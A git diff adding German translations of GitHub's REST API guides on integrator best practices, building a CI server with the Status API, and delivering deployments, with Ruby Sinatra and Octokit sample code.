+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882271'
+---
+Du möchtest deine App gerne in die GitHub-Plattform integrieren? [Damit befindest du dich in guter Gesellschaft](https://github.com/integrations). In dieser Anleitung erfährst du, wie du eine App erstellst, die deinen Benutzer*innen eine optimale Oberfläche bietet *und* verlässlich mit der API interagiert. 
+
+## Schützen von Nutzlasten, die von GitHub bereitgestellt werden
+
+[Die von GitHub gesendeten Nutzlasten][event-types] sollten unbedingt geschützt werden. Auch wenn in einer Nutzlast keine persönlichen Informationen (wie z. B. Kennwörter) übertragen werden, sollte *jegliche Art* von Datenverlust vermieden werden. Möglicherweise vertrauliche Informationen sind etwa E-Mail-Adressen von Committern oder die Namen privater Repositorys.
+
+Führe zum Schutz der von GitHub übermittelten Nutzlasten die folgenden Schritte aus:
+
+1. Stelle sicher, dass der Empfangsserver über eine HTTPS-Verbindung verfügt. Standardmäßig überprüft GitHub beim Bereitstellen von Nutzlasten die SSL-Zertifikate.{% ifversion fpt or ghec %}
+1. Füge der Liste zugelassener IP-Adressen auf deinem Server die [IP-Adresse hinzu, die zum Bereitstellen von Hooks](/github/authenticating-to-github/about-githubs-ip-addresses) verwendet wird. [Suche mithilfe des Endpunkts `/meta`](/rest/reference/meta#meta) nach der verwendeten Adresse, um sicherzustellen, dass die korrekte IP-Adresse überprüft wird.{% endif %}
+1. Stelle über [ein geheimes Token](/webhooks/securing/) sicher, dass die Nutzlasten definitiv von GitHub stammen. Indem du ein geheimes Token erzwingst, kannst du dir sicher sein, dass alle von deinem Server empfangenen Daten auch wirklich von GitHub stammen. Idealerweise erhalten alle Benutzer*innen deines Diensts ein *unterschiedliches* geheimes Token. Auf diese Weise sind im Fall eines kompromittierten Tokens keine weiteren Benutzer*innen betroffen.
+
+## Ausführen asynchroner Arbeit anstelle von synchroner Arbeit
+
+GitHub erwartet, dass Integrationen innerhalb von {% ifversion fpt or ghec %}10{% else %}30{% endif %} Sekunden nach Empfang der Webhooknutzlast reagieren. Benötigt dein Dienst länger, beendet GitHub die Verbindung, und die Nutzlast geht verloren.
+
+Da die Geschwindigkeit deines Diensts nicht vorhergesagt werden kann, solltest du die „eigentliche Arbeit“ in einem Hintergrundauftrag ausführen. [Resque](https://github.com/resque/resque/) (für Ruby), [RQ](http://python-rq.org/) (für Python) oder [RabbitMQ](http://www.rabbitmq.com/) (für Java) sind Beispiele für Bibliotheken, die Warteschlangen und die Verarbeitung von Hintergrundaufträgen behandeln.
+
+Beachte, dass GitHub auch bei einem parallel ausgeführten Hintergrundauftrag erwartet, dass dein Server innerhalb von {% ifversion fpt or ghec %}zehn{% else %}dreißig{% endif %} Sekunden reagiert. Dein Server muss den Empfang der Nutzlast durch eine Antwort bestätigen. Es ist entscheidend, dass dein Dienst die Nutzlast so schnell wie möglich überprüft, damit du korrekt darüber berichten kannst, ob der Server die Anforderung fortsetzt.
+
+## Verwenden geeigneter HTTP-Statuscodes für die Antwort an GitHub
+
+Jeder Webhook verfügt über den Abschnitt „Aktuelle Übermittlungen“, in dem aufgelistet wird, ob eine Bereitstellung erfolgreich war oder nicht.
+
+![Ansicht „Aktuelle Übermittlungen“](/assets/images/webhooks_recent_deliveries.png)
+
+Verwende geeignete HTTP-Statuscodes, um deine Benutzer*innen zu informieren. Bestätige mit den Codes `201` oder `202` den Empfang einer Nutzlast, die nicht verarbeitet wird (etwa weil sie von einem anderen Branch als dem Standardbranch übermittelt wurde). Nutze den Fehlercode `500` nur für schwerwiegende Fehler.
+
+## Bereitstellen möglichst vieler Informationen
+
+Deine Benutzer*innen können die Serverantworten, die du an GitHub sendest, genauer untersuchen. Stelle daher sicher, dass die Meldungen klar und aussagekräftig sind.
+
+![Anzeigen einer Nutzlastantwort](/assets/images/payload_response_tab.png)
+
+## Folgen von Umleitungen, die die API sendet
+
+Wurde eine Ressource verschoben, gibt GitHub dies direkt über einen Umleitungsstatuscode an. Diesen Umleitungen solltest du unbedingt folgen. Jede Umleitungsantwort legt im Header `Location` den neuen URI fest, zu dem gewechselt werden soll. Wenn du eine Umleitung erhältst, solltest du deinen Code mit dem neuen URI aktualisieren, falls du einen veralteten Pfad anforderst, der möglicherweise entfernt wird.
+
+Informationen zur Konfiguration deiner App für Umleitungen findest du in der [Liste der HTTP-Statuscodes](/rest#http-redirects).
+
+## Vermeiden manueller URL-Analysen
+
+Häufig enthalten API-Antworten Daten in Form von URLs. Wenn du beispielsweise ein Repository anforderst, erhältst du einen Schlüssel namens `clone_url` mit einer URL zum Klonen des Repositorys.
+
+Aus Stabilitätsgründen solltest du diese Daten nicht analysieren oder versuchen, das Format zukünftiger URLs daraus zu erstellen. Deine App funktioniert bei einer Änderung der URL möglicherweise nicht mehr.
+
+Wenn du beispielsweise mit paginierten Ergebnissen arbeitest, erscheint es zunächst verlockend, URLs durch Anfügen von `?page=<number>` zu erstellen. Widerstehe dieser Versuchung. In dieser [Paginierungsanleitung](/guides/traversing-with-pagination) findest du Tipps für das sichere Folgen paginierter Ergebnisse.
+
+## Überprüfen von Ereignistyp und Aktion vor der Verarbeitung des Ereignisses
+
+Es gibt mehrere [Typen von Webhookereignissen][event-types], von denen jedes Ereignis wiederum über mehrere Aktionen verfügen kann. Mit steigender Anzahl von GitHub-Features werden gelegentlich neue Ereignistypen bzw. vorhandenen Ereignistypen neue Aktionen hinzugefügt. Stelle sicher, dass deine Anwendung Typ und Aktion eines Ereignisses explizit überprüft, bevor Webhooks verarbeitet werden. Frage mit dem Anforderungsheader `X-GitHub-Event` den Typ des empfangenen Ereignisses ab, um eine geeignete Verarbeitung zu gewährleisten. Analog dazu kannst du mit dem `action`-Nutzlastschlüssel der obersten Ebene abfragen, welche Aktion für das entsprechende Objekt ausgeführt wurde.
+
+Wenn du beispielsweise einen GitHub-Webhook für „**Alles** senden“ konfigurierst, empfängt deine Anwendung neue Ereignistypen und Aktionen, wenn diese hinzugefügt werden. Die **Nutzung einer ELSE-Klausel vom Typ „catch-all“ wird daher nicht empfohlen**. Betrachte das folgende Codebeispiel:
+
+```ruby
+# Not recommended: a catch-all else clause
+def receive
+  event_type = request.headers["X-GitHub-Event"]
+  payload    = request.body
+
+  case event_type
+  when "repository"
+    process_repository(payload)
+  when "issues"
+    process_issues(payload)
+  else
+    process_pull_requests
+  end
+end
+```
+
+In diesem Codebeispiel werden die Methoden `process_repository` und `process_issues` ordnungsgemäß aufgerufen, wenn ein Ereignis vom Typ `repository` oder `issues` empfangen wird. Jeder andere Ereignistyp würde jedoch zum Aufruf von `process_pull_requests` führen. Werden neue Ereignistypen hinzugefügt, würde dies zu einem falschen Verhalten führen, bei dem neue Ereignistypen auf dieselbe Weise wie das Ereignis `pull_request` verarbeitet werden.
+
+Es wird daher empfohlen, Ereignistypen explizit zu überprüfen und entsprechend zu handeln. Im folgenden Codebeispiel wird explizit überprüft, ob das Ereignis `pull_request` vorhanden ist, und die `else`-Klausel protokolliert, dass ein neuer Ereignistyp empfangen wurde:
+
+```ruby
+# Recommended: explicitly check each event type
+def receive
+  event_type = request.headers["X-GitHub-Event"]
+  payload    = JSON.parse(request.body)
+
+  case event_type
+  when "repository"
+    process_repository(payload)
+  when "issues"
+    process_issue(payload)
+  when "pull_request"
+    process_pull_requests(payload)
+  else
+    puts "Oooh, something new from GitHub: #{event_type}"
+  end
+end
+```
+
+Da jedes Ereignis zudem mehrere Aktionen umfassen kann, wird auch die Überprüfung der Aktionen empfohlen. Das Ereignis [`IssuesEvent`](/webhooks/event-payloads/#issues) verfügt beispielsweise über mehrere mögliche Aktionen. Dazu gehören `opened` beim Erstellen des Issues, `closed` beim Schließen des Issues und `assigned` beim Zuweisen des Issues.
+
+Zusätzlich zu Ereignistypen sollen möglicherweise vorhandenen Ereignissen neue Aktionen hinzugefügt werden. Daher wird auch bei der Überprüfung von Ereignisaktionen die **Nutzung einer ELSE-Klausel vom Typ „catch-all“ nicht empfohlen**. Führe stattdessen eine explizite Überprüfung der Ereignisaktionen ähnlich wie bei den Ereignistypen aus. Das folgende Codebeispiel weist viele Gemeinsamkeiten mit dem vorherigen Beispiel für die Ereignistypen auf:
+
+```ruby
+# Recommended: explicitly check each action
+def process_issue(payload)
+  case payload["action"]
+  when "opened"
+    process_issue_opened(payload)
+  when "assigned"
+    process_issue_assigned(payload)
+  when "closed"
+    process_issue_closed(payload)
+  else
+    puts "Oooh, something new from GitHub: #{payload["action"]}"
+  end
+end
+```
+
+In diesem Beispiel wird zunächst die Aktion `closed` überprüft, bevor die Methode `process_closed` aufgerufen wird. Alle nicht identifizierten Aktionen werden zur späteren Verwendung protokolliert.
+
+{% ifversion fpt or ghec or ghae %}
+
+## Umgang mit Ratenbegrenzungen
+
+Die [Ratenbegrenzung](/rest/overview/resources-in-the-rest-api#rate-limiting) der GitHub-API stellt sicher, dass die API schnell und für alle verfügbar ist.
+
+Wenn du den Grenzwert erreicht hast, solltest du mit dem Senden von Anforderungen warten, bis du wieder dazu berechtigt bist. Ansonsten wird deine App möglicherweise gesperrt.
+
+Du kannst den [Status deiner Ratenbegrenzung](/rest/reference/rate-limit) jederzeit überprüfen. Die Überprüfung deiner Ratenbegrenzung erhöht deine Rate nicht.
+
+## Umgang mit sekundären Ratenbegrenzungen
+
+Auch mit [sekundären Ratenbegrenzungen](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) soll die Verfügbarkeit der API sichergestellt werden.
+Befolge mit deiner Anwendung die folgenden Richtlinien, um unterhalb des Grenzwerts zu bleiben:
+
+* Sende authentifizierte Anforderungen, oder verwende die Client-ID und das Geheimnis deiner Anwendung. Nicht authentifizierte Anforderungen unterliegen aggressiveren Ratenbegrenzungen.
+* Sende Anforderungen für einzelne Benutzer*innen oder eine einzelne Client-ID nacheinander. Sende solche Anforderungen nicht gleichzeitig.
+* Warte bei vielen `POST`-, `PATCH`-, `PUT`- oder `DELETE`-Anforderungen für einzelne Benutzer*innen oder eine einzelne Client-ID mindestens eine Sekunde zwischen den jeweiligen Anforderungen.
+* Wurde deine Rate begrenzt, nutze den Antwortheader `Retry-After`, um die Geschwindigkeit zu drosseln. Der Wert des `Retry-After`-Headers muss eine ganze Zahl sein, die für die Anzahl der Sekunden steht, die vor einer erneuten Anforderung verstreichen soll. So bedeutet `Retry-After: 30` beispielsweise, dass mit dem Senden weiterer Anforderungen 30 Sekunden gewartet werden soll.
+* Anforderungen zum Erstellen von Inhalten, die Benachrichtigungen auslösen, wie etwa Issues, Kommentare und Pull Requests, können weiter eingeschränkt werden und enthalten keinen `Retry-After`-Header in der Antwort. Gehe beim Erstellen solcher Inhalte maßvoll vor, um weitere Begrenzungen zu vermeiden.
+
+Wir behalten uns das Recht vor, diese Richtlinien nach Bedarf zu ändern, um die Verfügbarkeit zu gewährleisten.
+
+{% endif %}
+
+## Umgang mit API-Fehlern
+
+Obwohl dein Code keine Fehler enthält, kann es vorkommen, dass beim Zugreifen auf die API nacheinander mehrere Fehler auftreten.
+
+Wiederholte Statuscodes vom Typ `4xx` und `5xx` solltest du nicht ignorieren. Stelle stattdessen sicher, dass die Interaktion mit der API korrekt ausgeführt wird. Wenn z. B. ein Endpunkt eine Zeichenfolge anfordert, du aber einen numerischen Wert übergibst, erhältst du einen Überprüfungsfehler vom Typ `5xx`, und dein Aufruf wird nicht erfolgreich ausgeführt. Ebenso verursacht der Zugriffsversuch auf einen nicht autorisierten oder nicht vorhandenen Endpunkt einen Fehler vom Typ `4xx`.
+
+Wenn du wiederholte Überprüfungsfehler bewusst ignorierst, wird deine App möglicherweise wegen missbräuchlicher Nutzung gesperrt.
+
+[event-types]: /webhooks/event-payloads
diff --git a/translations/de-DE/content/rest/guides/building-a-ci-server.md b/translations/de-DE/content/rest/guides/building-a-ci-server.md
new file mode 100644
index 0000000000..64572a9a92
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/building-a-ci-server.md
@@ -0,0 +1,167 @@
+---
+title: Erstellen eines CI-Servers
+intro: Erstelle dein eigenes CI-System mithilfe der Status-API.
+redirect_from:
+  - /guides/building-a-ci-server
+  - /v3/guides/building-a-ci-server
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: e8a22317562e209adca6cafa3fb8f1d55b1e04ee
+ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: '148132947'
+---
+Die [Status-API][status API] verknüpft Commits mit einem Testdienst, sodass jeder von Ihnen vorgenommene Push in einem {% data variables.product.product_name %}-Pull Request getestet und dargestellt werden kann.
+
+In diesem Leitfaden wird diese API verwendet, um ein Setup zu veranschaulichen, das du verwenden kannst.
+In unserem Szenario werden wir Folgendes tun:
+
+* Wir führen unsere CI-Suite aus, wenn ein Pull Request geöffnet wird (wir legen den CI-Status auf „Ausstehend“ fest).
+* Wenn die CI abgeschlossen ist, legen wir den Status des Pull Request entsprechend fest.
+
+Unser CI-System und der Hostserver sind Produkte unserer Vorstellungskraft. Es kann sich um Travis, Jenkins oder ein völlig anderes Produkt handeln. Im Mittelpunkt dieses Leitfadens steht die Einrichtung und Konfiguration des Servers, der die Kommunikation verwaltet.
+
+Wenn du den [Download von `ngrok`][ngrok] noch nicht durchgeführt hast, solltest du dies tun und den [Umgang damit lernen][using ngrok]. Dieses Toll ist hilfreich bei der Veröffentlichung lokaler Anwendungen im Internet.
+
+{% ifversion cli-webhook-forwarding %} {% note %}
+
+**Hinweis:** Alternativ kannst du die Webhookweiterleitung verwenden, um deine lokale Umgebung für den Empfang von Webhooks einzurichten. Weitere Informationen finden Sie unter [Empfangen von Webhooks mit der GitHub CLI](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli).
+
+{% endnote %} {% endif %}
+
+Hinweis: Du kannst den vollständigen Quellcode für dieses Projekt [aus dem Repository mit den Plattformbeispielen][platform samples] herunterladen.
+
+## Schreiben des Servers
+
+Wir schreiben eine einfache Sinatra-App, um zu zeigen, dass unsere lokalen Verbindungen funktionieren.
+Beginnen wir hiermit:
+
+``` ruby
+require 'sinatra'
+require 'json'
+
+post '/event_handler' do
+  payload = JSON.parse(params[:payload])
+  "Well, it worked!"
+end
+```
+
+(Wenn du nicht mit der Funktionsweise von Sinatra vertraut bist, solltest du den [Sinatra-Leitfaden][Sinatra] lesen.)
+
+Starte diesen Server. Sinatra wird standardmäßig auf Port `4567` gestartet. Daher solltest du `ngrok` so konfigurieren, dass es ebenfalls auf diesen Port lauscht.
+
+Damit dieser Server funktioniert, müssen wir ein Repository mit einem Webhook einrichten.
+Dieser Webhook sollte so konfiguriert werden, dass er ausgelöst wird, wenn ein Pull Request erstellt oder zusammengeführt wird.
+Erstelle nun ein Repository, mit dem du experimentieren kannst. Wie wäre es mit dem @octocatSpoon/Knife-Repository von [?](https://github.com/octocat/Spoon-Knife)
+Danach erstellst du einen neuen Webhook in deinem Repository, fügst die von `ngrok` bereitgestellte URL hinzu und wählst `application/x-www-form-urlencoded` als Inhaltstyp aus:
+
+![Eine neue ngrok-URL](/assets/images/webhook_sample_url.png)
+
+Klicke auf **Webhook aktualisieren**. Der Antworttext `Well, it worked!` sollte angezeigt werden.
+Sehr gut! Klicke auf **Individuelle Ereignisse auswählen**, und wähle Folgendes aus:
+
+* Status
+* Pull Request
+
+Dies sind die Ereignisse, die {% data variables.product.product_name %} an unseren Server sendet, wenn die relevante Aktion durchgeführt wird. Aktualisieren wir unseren Server so, dass er im Moment *nur* das Pull Request-Szenario verarbeitet:
+
+``` ruby
+post '/event_handler' do
+  @payload = JSON.parse(params[:payload])
+
+  case request.env['HTTP_X_GITHUB_EVENT']
+  when "pull_request"
+    if @payload["action"] == "opened"
+      process_pull_request(@payload["pull_request"])
+    end
+  end
+end
+
+helpers do
+  def process_pull_request(pull_request)
+    puts "It's #{pull_request['title']}"
+  end
+end
+```
+
+Woran liegt das? Jedes Ereignis, das {% data variables.product.product_name %} sendet, verfügt über einen `X-GitHub-Event`-HTTP-Header. Wir kümmern uns jetzt nur um die PR-Veranstaltungen. Anschließend nehmen wir die Nutzdaten der Informationen und geben das Titelfeld zurück. Im Idealfall würde unser Server bei jeder Aktualisierung eines Pull Request reagieren, nicht nur, wenn er geöffnet wird. Dadurch wäre sichergestellt, dass jeder neue Push die CI-Tests übergibt.
+In dieser Demo betrachten wir jedoch nur Fälle, in denen sie geöffnet werden.
+
+Nimm einige Änderungen in einem Branch deines Testrepositorys vor, öffne einen Pull Request, um diesen Proof of Concept zu testen. Dein Server sollte entsprechend reagieren.
+
+## Arbeiten mit Status
+
+Da unser Server nun eingerichtet ist, können wir mit unserer ersten Anforderung beginnen, nämlich dem Festlegen (und Aktualisieren) des CI-Status. Beachte, dass du bei jeder Aktualisierung des Servers auf **Redeliver** (Erneut übermitteln) klicken kannst, um die gleichen Nutzdaten zu senden. Du musst nicht für jede Änderung einen neuen Pull-Request erstellen.
+
+Da wir mit der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API arbeiten, verwenden wir [Octokit.rb][octokit.rb] zum Verwalten unserer Interaktionen. Wir konfigurieren diesen Client mit [einem {% data variables.product.pat_generic %}][access token]:
+
+``` ruby
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below
+ACCESS_TOKEN = ENV['MY_PERSONAL_TOKEN']
+
+before do
+  @client ||= Octokit::Client.new(:access_token => ACCESS_TOKEN)
+end
+```
+
+Danach müssen wir den Pull Request auf {% data variables.product.product_name %} lediglich aktualisieren, um zu signalisieren, dass wir einen CI-Prozess ausführen:
+
+``` ruby
+def process_pull_request(pull_request)
+  puts "Processing pull request..."
+  @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'pending')
+end
+```
+
+Hier führen wir drei grundlegende Aktionen aus:
+
+* Wir suchen den vollständigen Namen des Repositorys.
+* Wir suchen nach dem letzten SHA-Wert des Pull Request.
+* Wir legen den Status auf „Ausstehend“ fest.
+
+Das ist alles! Anschließend kannst du jeden Prozess ausführen, den du zum Ausführen deiner Testsammlung benötigst. Vielleicht übergibst du deinen Code an Jenkins oder rufen einen anderen Webdienst wie [Travis][travis api] über die API auf. Danach solltest du den Status erneut aktualisieren. In unserem Beispiel legen wir ihn einfach auf `"success"` fest:
+
+``` ruby
+def process_pull_request(pull_request)
+  @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'pending')
+  sleep 2 # do busy work...
+  @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'success')
+  puts "Pull request processed!"
+end
+``` 
+
+## Zusammenfassung
+
+Bei GitHub verwenden wir seit Jahren eine Version von [Janky][janky] zum Verwalten der CI.
+Der grundlegende Ablauf ist im Wesentlichen derselbe wie bei dem Server, den wir oben erstellt haben.
+Bei GitHub tun wir Folgendes:
+
+* Wir tätigen eine Übermittlung an Jenkins, wenn ein Pull Request erstellt oder aktualisiert wird (über Janky).
+* Wir warten auf eine Antwort bezüglich des Status der CI.
+* Wenn der Code keine Fehler aufweist, führen wir den Pull Request zusammen.
+
+Die gesamte Kommunikation wird zurück in unsere Chatrooms geleitet. Du musst kein eigenes CI-Setup einrichten, um dieses Beispiel zu verwenden.
+Du kannst immer auf [GitHub-Integrationen][integrations] zurückgreifen.
+
+[deploy API]: /rest/reference/repos#deployments
+[status API]: /rest/reference/commits#commit-statuses
+[ngrok]: https://ngrok.com/
+[using ngrok]: /webhooks/configuring/#using-ngrok
+[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/building-a-ci-server
+[Sinatra]: http://www.sinatrarb.com/
+[webhook]: /webhooks/
+[octokit.rb]: https://github.com/octokit/octokit.rb
+[access token]: /articles/creating-an-access-token-for-command-line-use
+[travis api]: https://api.travis-ci.org/docs/
+[janky]: https://github.com/github/janky
+[heaven]: https://github.com/atmos/heaven
+[hubot]: https://github.com/github/hubot
+[integrations]: https://github.com/integrations
diff --git a/translations/de-DE/content/rest/guides/delivering-deployments.md b/translations/de-DE/content/rest/guides/delivering-deployments.md
new file mode 100644
index 0000000000..1a8bc7a127
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/delivering-deployments.md
@@ -0,0 +1,180 @@
+---
+title: Übermitteln von Bereitstellungen
+intro: 'Mithilfe der REST-API für Bereitstellungen kannst du benutzerdefinierte Tools erstellen, die mit deinem Server und einer Drittanbieter-App interagieren.'
+redirect_from:
+  - /guides/delivering-deployments
+  - /guides/automating-deployments-to-integrators
+  - /v3/guides/delivering-deployments
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: 7ac423a27fe8b1c145efa3c135d88f08487f153a
+ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: '148132989'
+---
+Mit der [Bereitstellungs-API][deploy API] kannst du deine Projekte, die auf {% data variables.product.product_name %} gehostet werden, auf einem Server starten, den du besitzt. In Verbindung mit [der Status-API][status API] kannst du deine Bereitstellungen koordinieren, sobald der Code im Standardbranch vorliegt.
+
+In diesem Leitfaden wird diese API verwendet, um ein Setup zu veranschaulichen, das du verwenden kannst.
+In unserem Szenario werden wir Folgendes tun:
+
+* Wir führen einen Pull Request zusammen.
+* Wenn die CI abgeschlossen ist, legen wir den Status des Pull Request entsprechend fest.
+* Wenn der Pull Request zusammengeführt wurde, führen wir unsere Bereitstellung auf dem Server aus.
+
+Unser CI-System und der Hostserver sind Produkte unserer Vorstellungskraft. Dabei könnte es sich um Heroku, Amazon oder etwas ganz anderes handeln. Im Mittelpunkt dieses Leitfadens steht die Einrichtung und Konfiguration des Servers, der die Kommunikation verwaltet.
+
+Wenn du den [Download von `ngrok`][ngrok] noch nicht durchgeführt hast, solltest du dies tun und den [Umgang damit lernen][using ngrok]. Dieses Toll ist hilfreich bei der Veröffentlichung lokaler Anwendungen im Internet.
+
+{% ifversion cli-webhook-forwarding %} {% note %}
+
+**Hinweis:** Alternativ kannst du die Webhookweiterleitung verwenden, um deine lokale Umgebung für den Empfang von Webhooks einzurichten. Weitere Informationen finden Sie unter [Empfangen von Webhooks mit der GitHub CLI](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli).
+
+{% endnote %} {% endif %}
+
+Hinweis: Du kannst den vollständigen Quellcode für dieses Projekt [aus dem Repository mit den Plattformbeispielen][platform samples] herunterladen.
+
+## Schreiben des Servers
+
+Wir schreiben eine einfache Sinatra-App, um zu zeigen, dass unsere lokalen Verbindungen funktionieren.
+Beginnen wir hiermit:
+
+``` ruby
+require 'sinatra'
+require 'json'
+
+post '/event_handler' do
+  payload = JSON.parse(params[:payload])
+  "Well, it worked!"
+end
+```
+
+(Wenn du nicht mit der Funktionsweise von Sinatra vertraut bist, solltest du den [Sinatra-Leitfaden][Sinatra] lesen.)
+
+Starte diesen Server. Sinatra wird standardmäßig auf Port `4567` gestartet. Daher solltest du `ngrok` so konfigurieren, dass es ebenfalls auf diesen Port lauscht.
+
+Damit dieser Server funktioniert, müssen wir ein Repository mit einem Webhook einrichten.
+Dieser Webhook sollte so konfiguriert werden, dass er ausgelöst wird, wenn ein Pull Request erstellt oder zusammengeführt wird.
+Erstelle nun ein Repository, mit dem du experimentieren kannst. Wie wäre es mit dem @octocatSpoon/Knife-Repository von [?](https://github.com/octocat/Spoon-Knife)
+Danach erstellst du einen neuen Webhook in deinem Repository, fügst die von `ngrok` bereitgestellte URL hinzu und wählst `application/x-www-form-urlencoded` als Inhaltstyp aus:
+
+![Eine neue ngrok-URL](/assets/images/webhook_sample_url.png)
+
+Klicke auf **Webhook aktualisieren**. Der Antworttext `Well, it worked!` sollte angezeigt werden.
+Sehr gut! Klicke auf **Individuelle Ereignisse auswählen**, und wähle Folgendes aus:
+
+* Bereitstellung
+* Bereitstellungsstatus
+* Pull Request
+
+Dies sind die Ereignisse, die {% data variables.product.product_name %} an unseren Server sendet, wenn die relevante Aktion durchgeführt wird. Wir konfigurieren unseren Server so, dass er *nur* Verarbeitungen durchführt, wenn Pull Requests sofort zusammengeführt werden:
+
+``` ruby
+post '/event_handler' do
+  @payload = JSON.parse(params[:payload])
+
+  case request.env['HTTP_X_GITHUB_EVENT']
+  when "pull_request"
+    if @payload["action"] == "closed" && @payload["pull_request"]["merged"]
+      puts "A pull request was merged! A deployment should start now..."
+    end
+  end
+end
+```
+
+Woran liegt das? Jedes Ereignis, das {% data variables.product.product_name %} sendet, verfügt über einen `X-GitHub-Event`-HTTP-Header. Wir kümmern uns jetzt nur um die PR-Veranstaltungen. Wenn ein Pull Request zusammengeführt wird (der Status lautet `closed`, und `merged` ist `true`), starten wir eine Bereitstellung.
+
+Nimm einige Änderungen in einem Branch deines Testrepositorys vor, öffne einen Pull Request, und merge sie, um diesen Proof of Concept zu testen. Dein Server sollte entsprechend reagieren.
+
+## Arbeiten mit Bereitstellungen
+
+Sobald unser Server eingerichtet ist, der Code überprüft und unser Pull Request zusammengeführt wurde, möchten wir unser Projekt bereitstellen.
+
+Zunächst ändern wir unseren Ereignislistener so, dass er Pull Requests verarbeitet, wenn sie zusammengeführt werden, und beginnen, auf Bereitstellungen zu reagieren:
+
+``` ruby
+when "pull_request"
+  if @payload["action"] == "closed" && @payload["pull_request"]["merged"]
+    start_deployment(@payload["pull_request"])
+  end
+when "deployment"
+  process_deployment(@payload)
+when "deployment_status"
+  update_deployment_status
+end
+```
+
+Anhand der Informationen aus dem Pull Request beginnen wir mit dem Ausfüllen der `start_deployment`-Methode:
+
+``` ruby
+def start_deployment(pull_request)
+  user = pull_request['user']['login']
+  payload = JSON.generate(:environment => 'production', :deploy_user => user)
+  @client.create_deployment(pull_request['head']['repo']['full_name'], pull_request['head']['sha'], {:payload => payload, :description => "Deploying my sweet branch"})
+end
+```
+
+Bereitstellungen können in Form einer `payload` und einer `description` über Metadaten verfügen. Auch wenn diese Werte optional sind, ist es hilfreich, sie zum Protokollieren und Darstellen von Informationen zu verwenden.
+
+Wenn eine neue Bereitstellung erstellt wird, wird ein völlig separates Ereignis ausgelöst. Daher haben wir einen neuen `switch`-Fall im Ereignishandler für `deployment`. Du kannst diese Informationen verwenden, um benachrichtigt zu werden, wenn eine Bereitstellung ausgelöst wurde.
+
+Bereitstellungen können eine lange Zeit dauern. Daher sollten wir auf verschiedene Ereignisse lauschen, z. B. wann die Bereitstellung erstellt wurde und in welchem Zustand sie sich befindet.
+
+Lass uns eine Bereitstellung simulieren, die einige Aufgaben ausführt, und beobachten, wie sich dies auf die Ausgabe auswirkt. Zunächst sollten wir unsere `process_deployment`-Methode abschließen:
+
+``` ruby
+def process_deployment
+  payload = JSON.parse(@payload['payload'])
+  # you can send this information to your chat room, monitor, pager, etc.
+  puts "Processing '#{@payload['description']}' for #{payload['deploy_user']} to #{payload['environment']}"
+  sleep 2 # simulate work
+  @client.create_deployment_status("repos/#{@payload['repository']['full_name']}/deployments/#{@payload['id']}", 'pending')
+  sleep 2 # simulate work
+  @client.create_deployment_status("repos/#{@payload['repository']['full_name']}/deployments/#{@payload['id']}", 'success')
+end
+```
+
+Schließlich simulieren wir das Speichern der Statusinformationen als Konsolenausgabe:
+
+``` ruby
+def update_deployment_status
+  puts "Deployment status for #{@payload['id']} is #{@payload['state']}"
+end
+```
+
+Lass uns aufschlüsseln, was gerade passiert. Eine neue Bereitstellung wird von `start_deployment` erstellt, wodurch das `deployment`-Ereignis ausgelöst wird. Anschließend rufen wir `process_deployment` auf, um andauernde Prozesse zu simulieren. Während dieser Verarbeitung rufen wir ebenfalls `create_deployment_status` auf, wodurch wir einen Empfänger über den Stand der Dinge informieren, während wir den Status auf `pending` festlegen.
+
+Nach Abschluss der Bereitstellung legen wir den Status auf `success` fest.
+
+## Zusammenfassung
+
+Bei GitHub haben wir seit Jahren eine Version von [Heaven][heaven] verwendet, um unsere Bereitstellungen zu verwalten. Der allgemeine Ablauf ist im Wesentlichen derselbe wie bei dem Server, den wir oben erstellt haben:
+
+* Warte auf eine Antwort auf den Status der CI-Überprüfungen (Erfolg oder Fehler).
+* Wenn die erforderlichen Überprüfungen erfolgreich waren, führe den Pull Request zusammen.
+* Heaven nimmt den zusammengeführten Code und stellt ihn für Staging- und Produktionsserver bereit.
+* In der Zwischenzeit benachrichtigt Heaven auch alle über den Build, und zwar über den [Hubot][hubot]-Agent, der sich in unseren Chaträumen befindet.
+
+Das ist alles! Um dieses Beispiel zu verwenden, musst du kein eigenes Bereitstellungssetup kompilieren.
+Du kannst immer auf [GitHub-Integrationen][integrations] zurückgreifen.
+
+[deploy API]: /rest/reference/repos#deployments
+[status API]: /guides/building-a-ci-server
+[ngrok]: https://ngrok.com/
+[using ngrok]: /webhooks/configuring/#using-ngrok
+[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/delivering-deployments
+[Sinatra]: http://www.sinatrarb.com/
+[webhook]: /webhooks/
+[octokit.rb]: https://github.com/octokit/octokit.rb
+[access token]: /articles/creating-an-access-token-for-command-line-use
+[travis api]: https://api.travis-ci.org/docs/
+[janky]: https://github.com/github/janky
+[heaven]: https://github.com/atmos/heaven
+[hubot]: https://github.com/github/hubot
+[integrations]: https://github.com/integrations
diff --git a/translations/de-DE/content/rest/guides/discovering-resources-for-a-user.md b/translations/de-DE/content/rest/guides/discovering-resources-for-a-user.md
new file mode 100644
index 0000000000..767c7896ba
--- /dev/null
